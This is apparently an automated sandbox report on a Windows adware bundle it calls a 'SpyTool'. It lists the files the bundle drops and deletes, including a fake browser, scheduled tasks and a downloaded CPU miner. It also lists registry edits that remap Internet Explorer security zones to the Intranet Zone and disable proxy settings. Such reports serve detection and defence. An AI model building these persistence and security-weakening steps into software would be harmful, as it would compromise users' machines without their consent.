%Program Files%\gmsd_re_005010082\gamesdesktop_widget.exe (77294 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gamesdesktop_widget.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\predm.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\_isetup (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gamesdesktop_widget.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gmsd_re_005010082.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\ex.bat (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gmsd_re_005010082.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\upgmsd_re_005010082.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\encrypt.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\itdownload.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\upgmsd_re_005010082.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\CheckProc.cmd (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\predm.7z (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\_isetup\_shfoldr.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\av.txt (0 bytes)

The process 2835.exe:792 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Program Files%\MyBrowser\MyBrowser\Application\Icons\ebay.ico (55 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\ted.ico (1913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\msn.ico (36 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\espn.ico (36 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\pinterest.ico (39 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\tumblr.ico (40 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\utility.exe (14988 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\linkedin.ico (37 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\groupom.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo_mail.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\amazon.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\kayak.com.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\chrome.packed.7z (1424068 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\ebay.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\huffingtonpost.ico (1909 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\gizmodo.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\cnn.ico (45 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\gmail.ico (47 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bing.ico (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo_finance.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\tripadvisor.ico (1917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\facebook.ico (3913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bbc.ico (35 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\hotels.com.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\etsy.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\mail_live_msn.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\huffingtonpost.ico (49 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ted.ico (57 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\weather_channel.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\agoda.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\forbes.ico (40 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_plus.ico (64 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\search.ico (57 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\netflix.ico (51 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\priceline.ico (53 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\bestbuy.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\google_news.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\DD109E04-9249-4175-ABE-CCF37DDE4282\DD109E04-9249-4175-ABE-CCF37DDE4282.exe (14988 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\wikipedia.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\msn.ico (1588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yelp.ico (1597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yandex.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\walmart.ico (48 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\amazon.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_news.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\agoda.ico (61 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\target.ico (50 bytes)
%WinDir%\Tasks\MyBrowser.job (1966 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\linkedin.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\9gag.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\twitter.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_finance.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\youtube.ico (3913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\mail.ru.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].004 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].005 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].002 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].003 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ie.zip[1].001 (3985887 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\gizmodo.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\weather_channel.ico (5593 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\tumblr.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\skype.ico (1597 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\groupom.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\theguardian.ico (1597 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_search.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\bbc.ico (1588 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\espn.ico (1588 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\google_translate.ico (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\icon.json (21 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\reddit.ico (60 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\mail.ru.ico (49 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\priceline.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\9gag.ico (1913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\reddit.ico (1917 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\imdb.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ipgeoapi[1] (40 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\crbrw.zip (313192 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\expedia.ico (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\gmail.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\pinterest.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\setup.exe (37305 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\hotels.com.ico (47 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\nfl.ico (1913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\icon.json (9 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nba.ico (48 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\bing.ico (1597 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\booking.com.ico (45 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\theguardian.ico (42 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\mail_live_msn.ico (38 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\prefs (823 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\skype.ico (44 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\kayak.com.ico (47 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo_mail.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\netflix.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\expedia.ico (1921 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\search.ico (1917 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\target.ico (1909 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\cnn.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yelp.ico (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\walmart.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yahoo.ico (39 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\imdb.ico (2993 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\google_plus.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\wikipedia.ico (55 bytes)
%WinDir%\Tasks\DD109E04-9249-4175-ABE-CCF37DDE4282.job (1656 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\tripadvisor.ico (58 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\nytimes.ico (1921 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\ikea.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nfl.ico (56 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\bestbuy.ico (3913 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\facebook.ico (601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\yandex.ico (35 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\nytimes.ico (61 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\nba.ico (1601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\google_translate.ico (1592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\etsy.ico (3913 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\forbes.ico (1592 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\twitter.ico (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\yahoo_search.ico (5593 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\Icons\youtube.ico (601 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\booking.com.ico (1601 bytes)
%Program Files%\MyBrowser\MyBrowser\Application\chrome.dat (31 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3290\Icons\ikea.ico (2993 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\crbrw.zip (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\DD109E04-9249-4175-ABE-CCF37DDE4282\DD109E04-9249-4175-ABE-CCF37DDE4282.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\DD109E04-9249-4175-ABE-CCF37DDE4282 (0 bytes)
%WinDir%\Tasks\DD109E04-9249-4175-ABE-CCF37DDE4282.job (0 bytes)

The process encrypt.exe:644 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gamesdesktop_widget.exe (92831 bytes)

The process encrypt.exe:1796 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\gmsd_re_005010082.exe (31991 bytes)

The process encrypt.exe:1900 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\predm.exe (1271 bytes)

The process encrypt.exe:1484 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\is-4OD0U.tmp\upgmsd_re_005010082.exe (24254 bytes)

The process upgmsd_re_005010082.exe:380 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\index.dat (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\gmsd_re_005010082\upgmsd_re_005010082.cyl (428 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@prof.youandmeandmeandyouhihi[1].txt (231 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@youandmeandmeandyouhihi[1].txt (182 bytes)

The process nsd33.tmp:432 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsh37.tmp (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf36.tmp\CPUFeatures.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\Bundle_CPUminer[1].exe (7288 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf36.tmp\inetc.dll (20 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf36.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq35.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf36.tmp\CPUFeatures.dll (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf36.tmp\inetc.dll (0 bytes)

The process nskA.tmp:1676 makes changes in the file system.
The SpyTool creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl11.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi1F.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn1E.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsfF.tmp (17738 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd33.tmp (6872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\7121923af824073a25b2b7e6ba0a6e0e[1].exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1C.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\setup_gmsd_re[1].exe (365499 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\cmmdWriter[1].exe (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (60 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp19.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq25.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\Validate[1].exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl10.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso34.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst21.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\df4a6a3ed77e60d6758afca091ca0c1f[1].exe (6872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\smt[1].exe (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1D.tmp (128293 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb27.tmp (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss44.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy18.tmp (11704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy17.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Uninstall.exe (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq26.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\VISWHQk[1].exe (11704 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu23.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd15.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd3C.tmp (365499 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi38.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\vos[1].htm (979 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc43.tmp (13784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (128293 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb12.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\36e0f22eacad857de2cd3b76aedc24a7[1].exe (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc14.tmp (2696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw13.tmp (979 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2F.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm28.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw42.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst20.tmp (3808 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3D.tmp (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (75 bytes)

The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsl11.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsn1E.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi38.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsm28.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsi1F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb27.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp19.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd33.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq25.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsqE.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nso34.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss44.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst21.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu24.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy18.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsy17.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq26.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl10.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[2].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu23.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd15.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsd3C.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb12.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsc14.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx2F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw42.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst20.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr3D.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ibf-cmi-1938953175.us-east-1.elb.amazonaws[1].htm (0 bytes)

The process nsc14.tmp:1452 makes changes in the file system.
The SpyTool deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsi16.tmp (0 bytes)

Registry activity

The process nsb27.tmp:1920 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5A 42 2C 88 A7 C5 1A 8A 3A 37 A7 64 BC 62 21 37"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nst20.tmp:1040 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "94 11 4B 05 03 E9 58 DA 3C B5 64 8D FB 75 3B 34"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

